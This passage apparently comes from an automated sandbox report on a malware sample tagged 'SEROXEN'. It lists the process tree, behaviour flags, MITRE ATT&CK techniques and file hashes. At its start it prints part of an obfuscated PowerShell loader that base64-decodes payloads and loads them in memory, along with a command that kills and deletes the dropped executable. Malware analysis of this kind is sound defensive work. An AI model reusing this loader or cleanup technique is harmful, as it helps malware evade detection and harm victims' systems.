AHAKZ($oPFNE,$XBFqp){ $TaiwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$oPFNE); $JZvRO=$TaiwF.EntryPoint; $JZvRO.Invoke($null, $XBFqp);}$ZxJef=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat').Split([Environment]::NewLine);foreach ($faxqr in $ZxJef) { if ($faxqr.StartsWith('SEROXEN')) { $MyVZJ=$faxqr.Substring(7); break; }}$tSYrU=[string[]]$MyVZJ.Split('\');$WdICd=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[0])));$eFigo=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[1])));AHAKZ $eFigo (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));AHAKZ $WdICd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{c6a30ffa-26c5-4e0b-8198-b895a398635a}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{54015f30-3ccc-4ce6-a5c4-6f00d6c11656}5⤵PID:2888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & exit5⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:5268 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5940
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C:\Windows\system32\PING.EXEPING localhost -n 86⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5260
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"6⤵
- Kills process with taskkill
PID:4428
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"6⤵
- Views/modifies file attributes
PID:5484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3572
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3748
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3912
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4444
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3608
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4088
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3908
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4552
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3120
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4696
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:776
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:1532
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2640 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3012 -ip 30122⤵PID:4852
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5740 -ip 57402⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:5560
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 624 -p 4636 -ip 46362⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5772
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5596 -ip 55962⤵PID:6104
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:4584
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Modify Registry
1Replay Monitor
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Downloads
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Filesize
43KB
MD58c3d77ee6b06afd6d47412d406546110
SHA16662a8707d5416dddab9467026e4c517894168b0
SHA2568eeb4f844ad65acff4b28eb740c520740acec75e071ea8144f429eb9dec0e0cb
SHA51216f9b7b0b2fac0580e8094ed2dff04a4c2ce84fc497ccce2017df0919329ac04cac84ac1dfa8bbd89466c2046c8a2a0d58d17d30d8210bf27b6526cbe169ed3b
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Filesize
13KB
MD5ae539e8be19333cb60a8d59742ce86f8
SHA112dc173ca4c4c45f2456cc47a2ba9205f2a3e6b6
SHA2566f9728a3cbd6ccef5d2713ea34398fe19b463ea47644b25e10e0073c786a6bb3
SHA5126d3724a43727d82dbe4201ea406c72a734f51055097e96caf208e469c6e4d5f928461ba23e53d4408d03fd3f54c634c56518f40cb17ac1be8965eaaa70c4d1a9
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Filesize
41KB
MD588f92fdcf4b88e1bf1dc70145f3c13f7
SHA1d5fb385efd1e280caff00d25d36437504633adf2
SHA2561b1baabe3e6acd8e02b2f605afa488f13e3ddde8e63060559b63599b4f8051ff
SHA51236c3dcbb4c9b018a03838c52d09da39e21b8aee3a6741bdf3697ba3f0766ee7acfc90b599fd3c388fbced0b18b48a1dd774d8d01f8f4a11d5e647acf45908cb5
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Filesize
13KB
MD51e813ac01f166cd183f2635396816095
SHA117c3be45c0e04a0cc1e896bb5f336fd92d191573
SHA25649284a4ac6109c38a6b50f9121a8a24546c7349286bc5112443f3c89c3fff662
SHA5120b319349fbcaeb76a54863fad84a71ae30d8bdd6c469c7a4729934c4db577d9c14460e5f764b8c49a525dc47b0d7fba7a40003ed6e7075ffbf76f10b432e3890
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Filesize
40KB
MD5d9d67c1436a7f52aaa022f2511b83fc4
SHA10748c145725ed773429fff04d2c939a7d9765224
SHA25690dcc2f6c94418869878a3c5ca06f16c184c8add73ecf82f8a94ee895af9db38
SHA5129d5fba54b64217a77f5c4abee5f4088a9a0f86978c92f6244e83464eb30a44d334565a094683c7ef5186685be612a66886ebe168d624246cf01d6025f4e2ba89
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Filesize
13KB
MD58c8aaeaaee70ecfc157142be5a11fb80
SHA140176e82bbec3378f92268ad0f19f9e6fb199c3d
SHA2561cf7d16505d1a5817673cd1c3e99691d923fa9c3fe6acb9ec14ca4f137b24fd6
SHA512fe5c03ce29743cfb212e4ddc6b95716a6927971684950fc862ead2b6a82c5a9e06d5fc9d013cf86be4ea0c2b6f8bea3cba3ca8098fe29f75ef9a638d0af2a743
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Filesize
12.5MB
MD5a4f9a8d05619cb7bcd36de94cce00098
SHA1fd23538b08c68e5b1229fb6cff001153842ebdad
SHA2566db8ff4761350cce286a0d448258b05bf0575c3a751b5a4efb6957ef691e167b
SHA5120ec6e105196b4ad72085b5e0a515620aabb7167a3932fcc0500ac34e184cabbf24a03242a7cbf66937e043ddd467aa5aa1cbe24a01f57a80b83376057805a809
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045